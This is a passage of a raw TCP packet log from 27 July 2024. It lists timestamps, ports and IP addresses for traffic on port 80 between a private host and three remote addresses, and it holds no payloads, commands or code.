Jul 27, 2024 03:19:35.497716904 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.497745037 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.497756958 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.497776985 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.497786999 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.497796059 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.497834921 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.497838020 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.497865915 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.497899055 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.497915983 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.497930050 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.497965097 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.497977018 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498008966 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498145103 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498177052 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498204947 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498212099 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498224974 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498258114 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498317003 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498347998 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498373985 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498380899 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498411894 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498437881 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498447895 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498461008 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498495102 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498497963 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498528004 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498544931 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498558998 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498580933 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498591900 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498621941 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498641014 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498644114 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498693943 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498697042 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498724937 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498750925 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498755932 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498771906 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498810053 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498815060 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498841047 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498867035 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498872042 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498888016 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498899937 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498920918 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498931885 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498941898 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498964071 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.498980045 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.498997927 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.499016047 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.499030113 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.499062061 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.499095917 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:35.499131918 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:35.499151945 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:36.154227018 CEST	49722	80	192.168.2.6	185.215.113.19
Jul 27, 2024 03:19:36.154501915 CEST	49724	80	192.168.2.6	185.215.113.19
Jul 27, 2024 03:19:36.161094904 CEST	80	49724	185.215.113.19	192.168.2.6
Jul 27, 2024 03:19:36.161124945 CEST	80	49722	185.215.113.19	192.168.2.6
Jul 27, 2024 03:19:36.161200047 CEST	49722	80	192.168.2.6	185.215.113.19
Jul 27, 2024 03:19:36.161231995 CEST	49724	80	192.168.2.6	185.215.113.19
Jul 27, 2024 03:19:36.161374092 CEST	49724	80	192.168.2.6	185.215.113.19
Jul 27, 2024 03:19:36.169433117 CEST	80	49724	185.215.113.19	192.168.2.6
Jul 27, 2024 03:19:36.927129030 CEST	80	49724	185.215.113.19	192.168.2.6
Jul 27, 2024 03:19:36.927192926 CEST	49724	80	192.168.2.6	185.215.113.19
Jul 27, 2024 03:19:36.929274082 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:36.929538012 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:36.935625076 CEST	80	49723	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:36.935724020 CEST	49723	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:36.936178923 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:36.936250925 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:36.936399937 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:36.942585945 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.266181946 CEST	49726	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:37.272349119 CEST	80	49726	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:37.272442102 CEST	49726	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:37.272571087 CEST	49726	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:37.277467012 CEST	80	49726	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:37.681251049 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.681308031 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.681364059 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.681413889 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.681440115 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.681448936 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.681476116 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.681483984 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.681493998 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.681518078 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.681533098 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.681550026 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.681571960 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.681582928 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.681593895 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.681617975 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.681627989 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.681659937 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.686634064 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.686727047 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.768688917 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.768727064 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.768838882 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.829649925 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.829719067 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.829720020 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.829754114 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.829765081 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.829802990 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835341930 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835396051 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835411072 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835453987 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835463047 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835496902 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835510969 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835531950 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835566044 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835566044 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835581064 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835602045 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835617065 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835634947 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835648060 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835669994 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835686922 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835704088 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835711002 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835798979 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835820913 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835833073 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835845947 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835866928 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835880995 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835900068 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835917950 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835933924 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835942984 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.835963964 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.835967064 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.836002111 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.836009026 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.836033106 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.836044073 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.836070061 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.836076975 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.836101055 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.836116076 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.836143017 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.886759043 CEST	80	49726	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:37.887578964 CEST	49726	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:37.900506020 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.900559902 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.900604963 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.900670052 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.900671005 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.909539938 CEST	49726	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:37.916018009 CEST	80	49726	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:37.979949951 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.979990959 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.980012894 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.980025053 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.980060101 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.980072021 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.980072975 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.980094910 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.980112076 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.980189085 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.980331898 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.980386972 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.980528116 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.980561972 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.980597019 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.980602980 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.980602980 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.980676889 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.980678082 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.980710983 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.980745077 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.980762005 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.980762005 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.980786085 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.981488943 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.981520891 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.981543064 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.981554031 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.981569052 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.981585026 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.981594086 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.981616974 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.981666088 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.981667042 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.982152939 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.982187033 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.982212067 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.982220888 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.982253075 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.982264042 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.982264996 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.982289076 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.982336998 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.982336998 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.983680010 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.983711958 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.983736992 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.983745098 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.983772039 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.983777046 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.983812094 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.983829021 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.983829021 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.983941078 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.984477997 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.984524965 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.984540939 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.984559059 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.984606028 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.984606028 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.984801054 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.984837055 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.984864950 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.984936953 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.985415936 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.985449076 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.985470057 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.985480070 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.985495090 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.985537052 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.985580921 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.985615015 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.985687017 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.986484051 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.986534119 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.986634970 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.986668110 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.986685038 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.986701012 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.986717939 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.986733913 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.986777067 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.986777067 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.989413977 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.989448071 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.989481926 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.989491940 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.989491940 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.989525080 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.989564896 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.989598036 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:37.989633083 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:37.989646912 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.090136051 CEST	80	49726	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:38.090202093 CEST	49726	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:38.126437902 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.126494884 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.126523018 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.126529932 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.126563072 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.126574993 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.126574993 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.126596928 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.126629114 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.126650095 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.126683950 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.126713037 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.126719952 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.126763105 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.126770973 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.126770973 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.126796007 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.126827955 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.126842022 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.126842022 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.126861095 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.126902103 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.126902103 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.127147913 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.127181053 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.127214909 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.127227068 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.127227068 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.127295017 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.127304077 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.127327919 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.127362013 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.127374887 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.127374887 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.127444029 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.127599001 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.127654076 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.127720118 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.127769947 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.127804041 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.127821922 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.127836943 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.127871037 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.127883911 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.127883911 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.127926111 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.128173113 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.128209114 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.128254890 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.128254890 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.128258944 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.128292084 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.128324986 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.128339052 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.128339052 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.128357887 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.128391981 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.128408909 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.128408909 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.128457069 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.128760099 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.128812075 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.128875017 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.128896952 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.128945112 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.128969908 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.128978014 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.129004955 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.129009962 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.129030943 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.129044056 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:38.129081964 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:38.129081964 CEST	49725	80	192.168.2.6	185.215.113.16
